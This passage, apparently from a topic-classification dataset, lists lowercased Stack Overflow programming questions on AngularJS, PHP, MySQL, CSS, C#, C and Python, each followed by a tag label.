%20expecting%20%5b:%5d&amp;p2=22&amp;p3=%7b%5bnotificationscount%5d%7d&amp;p4=%7d  rel= nofollow noreferrer >this</a> error from angular and when i inspect the element  it is in plain text like: <strong>{[notificationscount]}</strong> and doesn t get converted to the number which is does on the 2nd last line of the html code.    i suspect this might be due to the 3rd party module i am using  which is <a href= https://github.com/jacob-meacham/angular-notification-icons  rel= nofollow noreferrer >angular-notification-icons</a> but i can t be sure.    i have no idea how to proceed with this. any input will help.    thanks a lot!,angularjs
how remove nodes from menu table   <br/> i’m use a table for store my menu nodes :   <pre>     menuid-------menuname------parentid     1----------------name1------------0     2----------------name2------------0     3----------------name1-2----------2     4----------------name2-2----------3     5----------------name3------------2 </pre>   i was showed this node with treeview  now i want remove node like name2(id=2). i thought that i must use recursive function to find menuids  but i can’t do it.    help me please.<br/> thanks.,asp.net
angular js data binding  i m just starting out with angular (again).    i m looking for two related questions to be answered regarding the following plunker    <a href= http://plnkr.co/edit/anfqw9nczs1wupl8ykdj  rel= nofollow >http://plnkr.co/edit/anfqw9nczs1wupl8ykdj</a>   <pre><code>var app = angular.module( designer   [])         .factory( textmodel   function () {             return {                  textalign :  left            fontfamily :  arial              };     });  app.controller( textcontroller   function($scope  textmodel){     $scope.master = textmodel;     $scope.$watch( master  function(){         $scope.textstyles = {              text-align : $scope.master.textalign               font-family : $scope.master.fontfamily         };     }  true);      $scope.setalignment = function(newalignment){         $scope.master.textalign = newalignment;     };      $scope.setfont = function(font){         $scope.master.fontfamily = font;     }; }); </code></pre>   in this  how can i apply the styles to only the currently focused input box rather than both.    and similarly  if i then change the font of one to times and the other to verdana  when i click either how do i update the select box to the font of the selected / focused input box.    thanks,angularjs
sql how to find if all values from one field exist in another field in any order  i am trying to match data from an external source to an in house source. for example one table would have a field with a value of  black blue  and another table would have a field with a value of  blue black .  i am trying to figure out how to check if all individual words in the first table are contained in a record the 2nd table in any order. it s not always two words that need to be compared it could be 3 or 4 as well. i know i could use a cursor and build dynamic sql substituting the space with the and keywod and using the contains function but i m hoping not to have to do that.     any help would be much appreciated.,sql
adding classes to multiple divs using content within them  i m dealing with some interesting html here. html that i wish i could change  but i cannot unfortunately.    i have several random divs on the page that i need to be able to style. so i need to add classes to them to be able to call them out with css. this would normally not be a problem except the only unique thing about them is a word in the content.    the html looks like this   <pre><code>&lt;div id= qualities &gt;top content&lt;/div&gt; &lt;div&gt;becky something&lt;/div&gt; &lt;div&gt;becky something else&lt;/div&gt; &lt;div&gt;becky something different&lt;/div&gt; &lt;div&gt;other content that i don t want to select&lt;/div&gt; &lt;div&gt;more content i don t want to select&lt;/div&gt; </code></pre>   so i would like to select all the divs (so i can add a class) that have the word  becky  in them  but no other divs.    i don t want to look at any other elements higher up on the page. is there a way that i can select these divs  this page is dynamic so there could be two  three  four of these so i m trying to avoid <code>next()</code> or anything non-specific.    i ve grabbed my venerable  which is becky.   <pre><code>var catname = $( .pagecentertitle ).text() catname = catname.replace(/(\w+).*/  $1 ); </code></pre>   and have been trying different variations of  contains   but have been failing.,jquery
does schema_search_path in database.yml for postgre rails app ignores case   i have to connect to a legacy db wich has a schema called  financeiro .    i setup my database.yml to:    <pre><code>...  schema_search_path: financeiro  ...  </code></pre>   when activerecord tries to find something i get the following error:    <pre><code>activerecord::statementinvalid: runtimeerror: error     c3f000  mschema  financeiro  does not exist f.\src\backend\catalog\namespace.c      l2898   rassign_search_path: set    search_path to financeiro from  c:/ruby/lib/ruby/gems/1.8/gems/activerecord-2.1.0/lib/active_record/connection_adapters/abstract_adapter.rb:147:in `log   </code></pre>   note that in the error message i get financeiro (downcase).  if i rename the schema to financeiro downcase it works well. but it is not  possible in the production environment.  thanks.,ruby-on-rails
nsmutuable array as an argument  i am trying to understand something that i thought i know.    if in class a i do :   <pre><code>-(nsmutablearray*)setarray:(nsmutablearray*) array1 { //some calculations on array 1   return array1. } </code></pre>   than in <code>classb</code> i :    <pre><code> classa *instancea = [[classa alloc]init] ;  classc *instancec = [[classc alloc]init] ;  [instancec sendarray:[instancea setarray:somearray] ]; //some array allocated in b  [instancea release];  //in classc i have defined  arrayc  that gets array as a pointer from classb </code></pre>   is array1 stay valid in <code>classc</code> after i released <code>instancea  </code>    does every change made to the array in <code>classb</code> is also made to the arrayc      is this the right way to work   my goal is to control over the <code>arrayc</code> in <code>classc</code> so every change i do in <code>classb</code> will apply to the one in c also  and to not lose this relation because of some <code>autorelease</code>.    doing this with property will be better   how      thanks.,objective-c
check bounds of a list of images (or the one currently being used in the list)  i have a cat and mouse game and i have the mouse randomly moving about with timers and direction change etc. when the mouse moves left  the picture box changes to another completely separate file so it looks like it has turned.     i m now trying to check if the cat has collided with the mouse so that i can end the game.    does anyone know how i could check the current bounds of the mouse so i can detect when its been hit  i can provide any code needed but as it is long i ll copy and paste on request.    that the question linked below was how i was planning on doing it     <pre><code>public void collsions()          {            if (cat.bounds.intersectswith(mouse.bounds))          } </code></pre>   but i then realized that the mousebounds cant fine a bound as the image changes all the time depending on its direction   <pre><code>mouseimage.image = mouseimages.images[(int)currentdirection]; </code></pre>   so there is a list of images that change depending on the direction of the mouse and i don t know how to check the bounds after the image is changed.     this is all the mouse code: <a href= https://pastebin.com/aeuwbdru  rel= nofollow noreferrer >https://pastebin.com/aeuwbdru</a>    this is all the cat code (so far); <a href= https://pastebin.com/ndabdv5c  rel= nofollow noreferrer >https://pastebin.com/ndabdv5c</a>,c#
determining .exe file in time of upload  i have developed file upload web page in asp.net. now user can rename a .exe file to txt or some other extension and upload the same. i want to restrict that. how i can implement that in asp.net,asp.net
what are the bad consequences of threadabortexception   i have recently came across a multithreading pattern in legacy codebase  which relies on <code>thread.abort()</code> method  for canceling simultaneous requests to external systems. one of the bad consequences is that it is not easy to distinguish the timeout exceptions from the other exception types.    what are the other reasons not to use <code>threadabortexception</code>s in multithreaded control flow,.net
how to post text to friend wall in facebook in iphone sdk   i want to post text to friend wall but there is some problem by using this code...   <pre><code>-(ibaction)posttobuddywall {         nsmutabledictionary  *postvariablesdictionary = [[nsmutabledictionary alloc] init];          [postvariablesdictionary setobject:@ lol  forkey:@ name ];     [postvariablesdictionary setobject:@ helllo  forkey:@ message ];       facebook *fb = [((appdelegate*)[[uiapplication sharedapplication] delegate]) fbinstance];     [fb requestwithgraphpath:[nsstring stringwithformat:@ %@/feed  self.fbfriendsinvited] andparams:postvariablesdictionary andhttpmethod:@ post  anddelegate:nil];      nslog(@ message: %@  postvariablesdictionary);     [postvariablesdictionary release];      uialertview *facebookalter=[[uialertview alloc] initwithtitle:@ message  message:@ posted successfully on facebook  delegate:self cancelbuttontitle:@ ok  otherbuttontitles: nil  nil];     [facebookalter show];     [facebookalter release];      [self dismissviewcontrolleranimated:yes completion:nil]; } </code></pre>   please give the suggestions if u have... thanks !!,iphone
angular directive not transcluding select  i have a select   <pre><code>&lt;select selectwrap&gt;&lt;/select&gt; </code></pre>   and a directive   <pre><code>app.directive( selectwrap   function() {     return {         restrict:  a           transclude: true          scope: {}          template:  &lt;div style= border:1px solid blue;height:100px;width:100px;  ng-transclude&gt;&lt;/div&gt;           replace: false      } }); </code></pre>   for some reason if i use replace: true  it replaces the select appropriately but when i turn it off in effort to wrap the select with the div  it doesn t do anything. what am i missing,angularjs
how to get all parameter s value from given url   i have one url string like    <pre><code> http://example.com/glamour/url.php ad_id=[ad_id]&amp;pubid=[pubid]&amp;click_id=[click_id]  </code></pre>   so i want to fetch value of all parameters which mentioned in []. like ad_id pubid clickid    how can i fetch values of parameters,php
php file upload using ip address  i just want to upload file to a server without using ftp the reason why is because authentication that make it slow and i though is it possible to upload file using ip address direct to the computer server. i hope there s someone who can help with this problem thank you in advance.    here s my code:   <pre><code>&lt; php $valid_extensions = array( jpeg    jpg    jpg    jpeg    png    gif    gif    pdf    pdf    xls    xlsx    doc    docx    ods    ods ); // valid extensions  if($_files[ img ][ tmp_name ]!=  ){ //check if the is empty      if($_files[ img ][ size ]&gt;10000000) //10 mb allowable maximum size of file     {         echo this file is too large. file must be less than 10mb in size ;     }else{         $date = date( y-m-d );         $branch = $_session[ sbranchname ];         $img = $_files[ img ][ name ];         $tmp = $_files[ img ][ tmp_name ];         $file = $_files[ img ][ tmp_name ];//tmp file the source file           //$path =  192.168.0.80/home/ .$branch. / .$date. / ;         //$path= \\\\192.168.0.80\\ ;         $path =  192.168.0.80/upload/ ;         chmod ($path   0777);         echo $path;          $ext = pathinfo($img  pathinfo_extension);         if(in_array($ext  $valid_extensions)){              if(!is_dir($path))             {                 mkdir($path  0777   true); // upload directory                 chmod($path  0777);             }                //$path = $path.strtolower($img);                $path = $path.$img;              if(file_exists($path)) //check file if already exist             {                 echo this file  .$img.  exist! ;             }else{                   if(move_uploaded_file($tmp $path))                  {                      //echo  &lt;img src= $path  style= width:100px;heigth:300px; /&gt; ;                     $query = $mysqli-&gt;query( select * from tblbranch where branchname =  .$_session[ sbranchname ].    )or die($mysqli-&gt;query);                     while($row=$query-&gt;fetch_object()){                         $branchid =$row-&gt;branchid;                         $branchname =$row-&gt;branchname;                     }                     //$insert = $mysqli-&gt;query( insert into tblfileupload values( $branchid    $branchname    $img    $path   now()    .$_session[ susername ].    now()) )or die($mysqli-&gt;error);                     $insert = $mysqli-&gt;query( call spfileuploadinsert(null  $branchid    $branchname    $img    $path   now()    .$_session[ susername ].    now()) )or die($mysqli-&gt;error);                     echo success ;                 }             }         }else{             echo invalid! the file must be jpg  pdf  xls  doc  ods ;         }         }//end of file size }else{     echo no file choosen! ; }  &gt; </code></pre>,php
how does header() work   <strong>a little context:</strong><br> i needed to run php scripts in a browser  but i didn t want to go to all the trouble of installing a server and suffer the overhead of running a server on my computer and all the stuff that goes with it  including firewalls  blah blah blah.    so instead i wrote my own server. it s a simple php script that listens for connections on port 80 of my lan ip  then i just load that ip in my browser and it works. it receives the http request and starts a second php script using <code>exec</code> - this is so that i can make changes to it easily without having to restart the server script. this second php script parses the request  and finally <code>include</code>s the script that was actually being called. it gets the output from there  and sends the response back to the browser with appropriate headers (which i can change).    yeah  it s a mess  but it works. it does what i need it to do.    <strong>now for the question:</strong><br> i can t use <code>header()</code>. it doesn t seem to be having any effect on what gets sent back to the browser through the socket connection. i have instead made a <code>setheader()</code> function  and store headers in an array to be prepended to the response.    i d like to know how the <code>header()</code> function actually works internally  so that i might be able to use that function instead of my  hacked  one.,php
how to show gadget for certain categories labels in blogger and not for other posts   is this possible to show gadget for specific post.. suppose there are 100 posts in my blog and i want 1 gadget to display only when specific 20 posts are open. and that gadgets should not appear for remaining post which don t have the said label.,html
rails - binding versus not binding a rails collection select  so i was experiencing an error when i was attaching a collection_select to my form_for object like so:   <pre><code>&lt;%= f.collection_select(:city_id   @cities   :id  :name  {:prompt   =&gt;  select a city }  {:id =&gt;  cities_select   multiple: true}) %&gt; </code></pre>   and getting the error:   <pre><code>undefined local variable  city_id  </code></pre>   but when i don t bind the select like so:   <pre><code>&lt;%= collection_select(nil  :city_id   @cities   :id  :name  {:prompt   =&gt;  select a city }  {:id =&gt;  cities_select   multiple: true}) %&gt; </code></pre>   it works fine.    i just want to understand the theory behind why one works and the other doesn t,ruby-on-rails
mysql error code: 1093. you can t specify target table  xyz  for update in from clause  i am trying to write query against following table   <pre><code>table a ======== id a1   table b ========= id b1 </code></pre>   query 1:   <pre><code>update a set a.a1 =( select count (distinct b1) from b join a on a.id = b.id group by b1 </code></pre>   gives me an error -    <blockquote>    mysql error code: 1093. you can t specify target table for update in from clause  </blockquote>   hence i tried below query as below:    query 2:   <pre><code>update a set a1 = (   select count from (     select count( distinct b1) as count         from b          join a on a.id = b.id         group by id   ) s ); </code></pre>   above query gives me error    <blockquote>    error code: 1242. subquery returns more than 1 row   </blockquote>   i tried creating staging table as below and it works.    query 3:   <pre><code>insert into stg ( par1  par2 ) select id  count( distinct b1) from b group by id;   update a set a1 =  ( select par2 from stg where a.pm = stg.par1 ); </code></pre>   is there a better way to do the same      thanks,mysql
set a limit occurrence for a value in a mysql table  so let s say i have a table that has a column  id_author    i d like to set a limit for the occurrence of the same value ; example : can t have more than 3 same  id_author  values so when i insert the 4th one it s refused.    is there a way to implement this  thanks,mysql
possible values for [[uidevice currentdevice] systemname];  what are the possible values of <code>[[uidevice currentdevice] systemname];</code>  in the <a href= http://developer.apple.com/library/ios/#documentation/uikit/reference/uidevice_class/reference/uidevice.html  rel= noreferrer >docs</a> from apple  it doesn t give any examples of what could result  but all i can get from it is <code>iphone os</code>  even on the simulator. are there any other possibilities  and if not  why does this property even exist,ios
how to enable gps using code like jugnoo app do   here is the app <a href= https://play.google.com/store/apps/details id=product.clicklabs.jugnoo&amp;hl=en  rel= nofollow >https://play.google.com/store/apps/details id=product.clicklabs.jugnoo&amp;hl=en</a> which is able to turn on gps automatically. how can i do the same,android
how to select data from two entities in core data  is it possible to select data from two entities in core data  i mean i have two tables eg:manager and userinfo.i want to select all the users who are users.so i need to join these two tables.  how,iphone
remove last comma during an explode in php  how to ignore the last comma inserted     <pre><code>&lt; php $moods =  pizza1 pizza2 pizza3  ; $moodlist = explode(     $moods); print_r($moodlist);  &gt; </code></pre>,php
c: using copyfile.h for mac  i am new to c. i am playing with the mac osx copyfile.h function to move a file using c. header file found here: <a href= http://bit.ly/igmsec  rel= nofollow >http://bit.ly/igmsec</a>   <pre><code>int copyfile(const char *from  const char *to  copyfile_state_t state  copyfile_flags_t flags); </code></pre>   here is my code:   <pre><code>#include &lt;copyfile.h&gt;      int main() {     int success;     const char* from =  hello.text ;     const char* to =  /togo/hello.txt ;     copyfile_state_t state = copyfile_init();     copyfile_flags_t flags =  copyfile_move ;      success = copyfile(from  to  state  flags);     printf ( %d\n   success);     exit(0); } </code></pre>   i added copyfile_init() function to initialize the state. and i get compiling issues now but i think i am getting in the right direction.   <pre><code>$ gcc move.c undefined symbols for architecture x86_64:    _copyfile_init   referenced from:   _main in ccxjr5on.o ld: symbol(s) not found for architecture x86_64 collect2: ld returned 1 exit status </code></pre>   based on what i ve seen online this is a linking issue. so i added the link tag but it s not finding the file  and this header is supposed to be in osx source.   <pre><code>$ gcc move.c -lcopyfile ld: library not found for -lcopyfile </code></pre>,c
"what is the distance from top and bottom when i set the line-height property   i would like to know what is the distance between the margin and the heading. this is for psd to html pixel perfect. i have a title that has the line-height of 50px and the font size of 30px. i think the distance is 10px top and 10px bottom but i’m not sure. that’s because the font-size is 30px and the line-height is 50px so i subtract 50-30 and i divided to 2. is the distance from top equal to 10px  thank you! i attached a file so you can see what i mean and this is the html code. <a href= https://i.stack.imgur.com/rvm75.png  rel= nofollow noreferrer >see this image with heading with line-height</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 &lt;head&gt;
     &lt;meta charset= utf-8 &gt;
     &lt;title&gt;&lt;/title&gt;
     &lt;style&gt;
         h1 {
             line-height: 50px;
             color: #ffffff;
             font-size: 30px;
         }
 
         body {
             background: black;
         }
         #section{
             background: red;
             padding: 0;
             margin: 0;
         }
     &lt;/style&gt;
 &lt;/head&gt;
 &lt;body&gt;
 &lt;section id= section &gt;
 &lt;h1&gt;heading one&lt;/h1&gt;
 &lt;/section&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
"rectangle with pointed ends that change colour on hover  i have found on this website a example that fits my needs except one thing. if i add hover  the left and right triangles will have the same colour instead of the new hover colour. any idea how to have black triangles when we hover over rectangle     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.yourbutton {
     position: relative;
     width:200px;
     height:40px;
     margin-left:40px;
     color:#ffffff;
     background-color:blue;
     text-align:center;
     line-height:40px;
 }
 .yourbutton:hover {background-color:black}
 .yourbutton:before {
     content:  ;
     position: absolute;
     right: 100%;
     top:0px;
     width:0px;
     height:0px;
     border-top:20px solid transparent;
     border-right:40px solid blue;
     border-bottom:20px solid transparent;
 }
 
 .yourbutton:after {
     content:  ;
     position: absolute;
     left: 100%;
     top:0px;
     width:0px;
     height:0px;
     border-top:20px solid transparent;
     border-left:40px solid blue;
     border-bottom:20px solid transparent;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= yourbutton &gt;you wanted this &lt;/div&gt;</code></pre>
 </div>
 </div>",css
php: =0d  =a20 symbols  after obtaining info from an email body  i have a lot of symbols such as =0d  =a20  etc... how can i remove them  i do not want to use    <pre><code>$body = str_replace( =a20       $body); </code></pre>   because if the email body actually contains that it will be replaced.    any ideas  thanks!,php
how to insert date & time to datetimepicker in c#   i want to insert date &amp; time to datetimepicker.    for example: date: 03/08/2009  time: 06:45    how i can do it in c#      thank s in advance,c#
how to access other view controllers data member variables   i want to access the value of a view controller data member variables in another view controller object.     or is it possible to access its controls like uilabel text property,iphone
how to perform an automated onclick() at a certain element if the id is always changing   in javascript  i m trying to create a user script that will automatically click on a  blue button . normally  i would do this:   <pre><code>var bluebutton =  document.getelementbyid( blue_button )   if (bluebutton) {     bluebutton.onclick();     } </code></pre>   but now  the blue button does not have its own obvious id. it s id is <em>randomized</em>  and could be either <em>button1</em>  <em>button2</em>  or <em>button3</em>.    here s the html that i m talking about:   <pre><code>&lt;div class= button_slot &gt;     &lt;div id= button1  style= cursor:pointer; padding-left:30px  onclick= buttonsubmit( button1 )  onmouseover= infopane.display( blue button   i m a blue button! )  onmouseout= infopane.clear() &gt;  &lt;div class= button_slot &gt;     &lt;div id= button2  style= cursor:pointer; padding-left:30px  onclick= buttonsubmit( button2 )  onmouseover= infopane.display( red button   i m a red button! )  onmouseout= infopane.clear() &gt;  &lt;div class= button_slot &gt;     &lt;div id= button3  style= cursor:pointer; padding-left:30px  onclick= buttonsubmit( button3 )  onmouseover= infopane.display( yellow button   i m a yellow button! )  onmouseout= infopane.clear() &gt; </code></pre>   after a bit of reading  i ve concluded that the only way to direct my onclick() to the correct element/string is by using  .tostring().match(name)  as shown below:   <pre><code>function clickbutton(name) {     var button_list = document.queryselectorall( .button_slot &gt; div );     for (var i=0; i&lt;button_list.length; i++) {         var button = button_list[i];         if (button.onmouseover &amp;&amp; button.onmouseover.tostring().match(name)) {             button.onmouseover();             button.onclick();             break;             }         }     }  clickbutton( blue ); </code></pre>   (note: sometimes i use <em>clickbutton( red );</em> or <em>clickbutton( yellow );</em> just to experiemen)    now here s the problem. this method works so horribly... sometimes  my script completely misses the button (as in  nothing gets clicked) even though there is definitely a string with the word  blue  in it.     if someone could identify what i m doing wrong  or perhaps even suggest a more effective method  i would appreciate it so much! thank you!,javascript
how to display results from an api to your views in rails 5  i seem to be getting an error when i run my app:   <pre><code>getaddrinfo: name or service not known </code></pre>   i think that the error is cause there is no connection between the app and the server where the api is been retrieved using a service.i am using <code>restclient</code> gem to access the requests.   <pre><code>#services/get_games.rb class getgames   def self.get_games     response = restclient::request.execute(       method: :get        url:  https://api-2445582011268.apicast.io.json         headers: {user_key: env[ igdb_api ]  accept: application/json }     )   end end  #games_controller def index     @response = json.parse(getgames.get_games)     @games = game.all end </code></pre>,ruby-on-rails
"parent is absolute positions  children are relative  parent should have their height  i have got a div <code>#budget-search-thirds</code> which is absolute positions  however it s children are not. shouldn t this parent div take on the height of it s children      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#budget-search-thirds {
   background: red;
   position: absolute;
   top: 0;
   right: 0;
   bottom: 0;
   left: 0;
   padding: 20px 0;
 }
 .container  .super-container {
   display: block;
   margin: 0 auto;
   position: relative;
   max-width: 1120px;
   clear: both;
   overflow: hidden;
 }
 .wrapper {
   display: block;
   padding: 0 10px;
   width: auto;
 }
 .row-block {
   margin: 0;
   position: relative;
   float: left;
   display: block;
   width: 100%;
   clear: both;
   background: #fff;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= row-block finance parallax__group &gt;
     &lt;div class= parallax__layer--back parallax__layer &gt;&lt;/div&gt;
     &lt;div class= wrapper &gt;
       &lt;div class= container &gt;
         &lt;div class= parallax__layer--base parallax__layer  id= budget-search-thirds &gt;
           &lt;div class= sixcol &gt;&lt;/div&gt;
           &lt;div class= sixcol last  style= 
     display: block;
  &gt;
             &lt;h2&gt;&lt;span class= preheading &gt;used car&lt;/span&gt;finance specialists&lt;/h2&gt;
             &lt;p class= right &gt;we have relationships with high street lenders and specialist motoring finance houses too  that is why &lt;strong&gt;we have helped hundreds of customers&lt;/strong&gt; secure the &lt;strong&gt;best finance deal&lt;/strong&gt; for their budget.&lt;/p&gt;
             &lt;div class= fin-slider &gt;
               &lt;div id= finance-budget-range-min  class= clear-fix &gt;
                 &lt;div class= row &gt;
                   &lt;div class= budget-slider &gt;
                     &lt;div class= form-group &gt;
                       &lt;label for= amount-budget-range-min &gt;monthly budget:&lt;/label&gt;
                       &lt;input type= text  id= amount-budget-range-min &gt;
                     &lt;/div&gt;
                     &lt;div class= slider-group &gt;
                       &lt;div id= slider-range-min  class= ui-slider ui-slider-horizontal ui-widget ui-widget-content ui-corner-all &gt;&lt;div class= ui-slider-range ui-widget-header ui-corner-all ui-slider-range-min  style= width: 20%; &gt;&lt;/div&gt;&lt;span class= ui-slider-handle ui-state-default ui-corner-all  tabindex= 0  style= left: 20%; &gt;&lt;/span&gt;&lt;/div&gt;
                     &lt;/div&gt;
                   &lt;/div&gt;
                   &lt;div class= search-btn &gt;
                     &lt;a id= button-budget-range-min  class= button  href= /search_page.php budget=200  title= budget search &gt;search&lt;/a&gt;
                   &lt;/div&gt;
                 &lt;/div&gt;
               &lt;/div&gt;
             &lt;/div&gt;
           &lt;/div&gt;
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>",css
how to make 2 different controller update and retrieve common data using scope variable and .service getter setter method in angularjs  i want a angularjs code in which 1 controller is using .service set method to set the value and another controller using the .service get method to retrieve that value. also i tried this code please let me know why it is not printing the right output.    i tried this code but after setting value it is not printing value...can you help me out in this ..                                                                                                    <pre><code>    &lt;html&gt; &lt;head&gt;     &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js  &gt;&lt;/script&gt;     &lt;script&gt;     var app = angular.module( myapp   []);  app.service( sharedproperties   function() {    var stringvalue =    ;      return{         getstring: function() {             return stringvalue;         }          setstring: function(value) {             stringvalue = value;          }     }});  app.controller( get   function($scope sharedproperties) {     $scope.stringvalue = sharedproperties.getstring();  }); app.controller( set   function($scope  sharedproperties) {      $scope.setstring = function(newvalue) {         $scope.objectvalue.data = newvalue;         sharedproperties.setstring(newvalue);     }; });    &lt;/script&gt;    &lt;/head&gt;     &lt;body ng-app= myapp &gt;       &lt;div ng-controller= set &gt;         &lt;input type=text ng-model= newvalue &gt;         &lt;button onclick= setstring(newvalue)  &gt;click here&lt;/button&gt;        &lt;/div&gt;        &lt;div ng-controller= get &gt;            value is {{stringvalue}}         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   answers will be appreciated.,angularjs
mysql puting 2 column with same value  i m trying to make 2 columns have the same value  but the procedures saved are already made and i m trying to avoid change  then i wonder if it is possible that the mysql do default  the idea would be that when you save a value for <code>id_student</code> the same value is stored in <code>id</code>  because my method only adds value to <code>id_student</code>  and <code>id</code> is a null (now is a auto_increment),mysql
can not dynamically remove input element from form  <strong>here is the jsfiddle <a href= http://jsfiddle.net/t8fuy/  rel= nofollow >http://jsfiddle.net/t8fuy/</a></strong>    a very simple situation. add input fields dynamically and also remove them if necessary. i ve seen countless examples but i can t get the remove function to work. here is my html:   <pre><code>&lt;ol&gt;      &lt;li id= caseform-fileuploader &gt;         &lt;input type= button  id= caseform-addfile  value= add file &gt;          &lt;ul&gt;         &lt;/ul&gt;     &lt;/li&gt; &lt;/ol&gt; </code></pre>   here is my jquery:   <pre><code>var filenumber = $( li#caseform-fileuploader ul li ).size() + 1; // set which file number this is  $( #caseform-addfile ).click(function () {     //add the input within the ul that is in #caseform-fileuploader     $( &lt;li&gt;&lt;input type= file  name= upload  + filenumber +   /&gt; &lt;a href= #  id= caseform-removefileupload &gt;remove&lt;/a&gt;&lt;/li&gt; ).appendto( #caseform-fileuploader ul );     filenumber++;     return false; });  //when the hyperlink is clicked  remove this parent li $( #caseform-removefileupload ).on( click   function () {     if (filenumber &gt; 0) {         $(this).parent( li ).remove();         filenumber--;     }     return false; }); </code></pre>   it adds inputs perfectly fine.... but the remove function is not working when a user clicks on the remove hyperlink.     can anyone please assist,jquery
i want to make an  if  statement that if a variable is less the 80 t=0 but if the variable is over t=x-80  hi i just started to learn c++. i m trying to figure out how to make a variable change depending on another variable. it shows a strange answer when i try it idk where its getting it from. anyways i ll just put my code in here and hope someone understands what i am doing.    <pre><code>#include &lt;iostream&gt;  long int mult (float hours float payrate float tax float overtimerate float overtimehours float overtimeday float insurance);  int main() { float insurance; float hours; float payrate; float tax; float overtimerate; float overtimehours; float overtimeday; insurance=.81; overtimehours=0; overtimerate=1.5; tax=4.93372123545367;    std::cout&lt;&lt; paycheck calculator\n ;    std::cout&lt;&lt; enter your hours\n ;    std::cin&gt;&gt;hours;    std::cin.ignore();    std::cout&lt;&lt; did you work over 8 hours in a day \n if so enter how much  if none enter 0\n ;    std::cin&gt;&gt;overtimeday;  if  (hours&gt;80) { overtimehours=((hours - 80)+overtimeday);    }    std::cout&lt;&lt;overtimehours+overtimeday&lt;&lt; \n ;    std::cout&lt;&lt; enter your pay rate\n ;    std::cin&gt;&gt;payrate;    std::cin.ignore();    std::cout&lt;&lt; your paycheck should be approximately:  &lt;&lt;((overtimeday+overtimehours)*(overtimerate*payrate ))+(((hours-overtimehours)*payrate)-((((hours-(overtimeday+overtimehours))*payrate)/tax) -insurance))&lt;&lt; \n ; } </code></pre>,c++
why can t we use indirection operator with array name   in the below code   why can t i dereference the array name  since when an array is passed as an argument to a function   it becomes pointer to first element of the array   so why can t we dereference it then     <pre><code>#include &lt;stdio.h&gt; int main(void) {      char s[] =  radha ;     int a[2] = {0 1};     printf( %s    *s);     printf( %d   *a);     return 0; } </code></pre>   ​ i am getting segmentation fault for the above code   what s the reason here   when i use a[0]  it is internally converted as *(a+0)   so what s the issue in simply doing *a or *s  please clarify .,c
python file handling error whenever email is entered wrong  whenever the password is entered and it is wrong it says  incorrect attempt number  whatever. however when my email is wrong it will give me an error message and not the same thing as a wrong password does. i tried constructing another if loop for the email but that did not work.    the error is:   <pre><code>traceback (most recent call last): file  e:\theater.py   line 126  in &lt;module&gt; theaterfilelogin() file  e:\theater.py   line 56  in theaterfilelogin emaildex = emails1.index(email) valueerror:  s dm  is not in list </code></pre>   the code is:   <pre><code>import csv x=0 while x&lt;3:     with open( theater.csv    r ) as csvfile:         theater = csv.reader(csvfile  delimiter=   )         emails1 = []         passwords1 = []         passwords2 = []         passwords3 = []         passwords4 = []         firstnames = []         surnames = []         for row in theater:             firstname = row [1]             surname = row [0]             email1 = row[2]             password1 = row[7]             password2 = row[8]             password3 = row[9]             password4 = row[10]             firstnames.append(firstname)             surnames.append(surname)             emails1.append(email1)             passwords1.append(password1)             passwords2.append(password2)             passwords3.append(password3)             passwords4.append(password4)         email = input( email adress:  )         password = input( password:  )         emaildex = emails1.index(email)         thepassword = passwords1[emaildex]         adminlevel1password = passwords2[emaildex]         adminlevel2password = passwords3[emaildex]         adminlevel3password = passwords4[emaildex]         fn = firstnames[emaildex]         sn = surnames[emaildex]         if thepassword == password:             print( welcome )             x=5         else:             print( incorect email or password try again )             x+=1             print( attempt  x) </code></pre>,python
how to print a value inside the foreach loop  <pre><code>$id = 123;  $my_var[$id][ lname ] =  smith ; $my_var[$id][ fname ] =  john ;  foreach ($my_var as $rec) {     print  last name:   . $rec[ lname ].  \n ;     print  first name:   . $rec[ fname ].  \n ;      // print  id:   . $id .  \n ;      // this works but not what i want     print  id:   . $rec[$id] .  \n ;     // doesnot work } </code></pre>   how would i print the value of $id inside the foreach() loop without using $id directly,php
using variable in date_modify <pre><code>&lt; php $universe = $_session[ company ]; $universetimequery = $db-&gt;prepare( select gametime from universes where name = :name ); $universetimequery-&gt;bindparam( :name   $universe); $universetimequery-&gt;execute(); $universetime = $universetimequery-&gt;fetchcolumn(); $founddate = date( d m y h:i ); $date = date_create($founddate); date_modify($date   .+$universetime.  year );  &gt; </code></pre>   how would i go about making it so that the date_modify function  instead of needing to use +1000 year  can instead use the number from $universetime year  thank you!,php
how to have html text over image  or make background image responsive  i have a problem.    i am creating a responsive header image  that would scale down to mobile and take the full width of the screen.    i would like to have done this with the <code>img</code> tag  and then applied a max-width of 100% but i wanted to include some text on top of this image  so chose to use a background image instead. i don t want to absolute the text over the images as this causes problems in mobile.     also  regarding background image  i can t use background-size as this is not supported in ie8.    is there any other way i can achieve having text over an image  where the image takes full width of the container  and full height of the image,css
in  operator in javascript. string comparison  hi i m new in javascript and i find a basic problem:    when i use that piece of code in python:   <pre><code> a  in  aaa   </code></pre>   i get <code>true</code>    when i do the same in javascript i get error:   <pre><code>typeerror: cannot use  in  operator to search for  a  in aaa </code></pre>   how to get similar result as in python,javascript
reusing iphone views in ipad  when creating a universal application using storyboard do people reuse the iphone views (uitableview) etc in their ipad application or do they make all the views for the ipad from scratch  or it depends :),ios
.net setup issue  i used vs2010 to create a project that uses framework 2.0. i can t use a newer framework. i created a setup project for it  and when i try to install it on the server  it s asking to install framework 4.0. i can t install it. is it possible to fix this somehow  can i change the setup program framework to 2.0     thanks.,.net
